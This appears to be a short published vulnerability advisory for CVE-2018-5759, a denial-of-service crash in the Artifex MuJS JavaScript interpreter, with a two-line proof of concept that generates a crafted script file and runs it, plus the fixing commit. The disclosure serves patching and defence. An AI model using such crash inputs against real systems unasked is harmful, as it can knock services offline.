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Artifex MuJS Denial Of Service

Artifex MuJS Denial Of Service
Posted Jan 27, 2018
Authored by Andrea Sindoni

Artifex MuJS suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2018-5759
SHA-256 | b5e85f6016216c998e0156693260ccc448ac852c9179b3a381daee1dac8312b9

Artifex MuJS Denial Of Service

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The continuous call between the two functions "jsC_cexp" function and "cbinary"
allows attackers to cause a denial of service (application crash) via a
crafted js file

# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=
4d45a96e57fbabf00a7378b337d0ddcace6f38c1)

Please let me know if you need more info.

Andrea Sindoni
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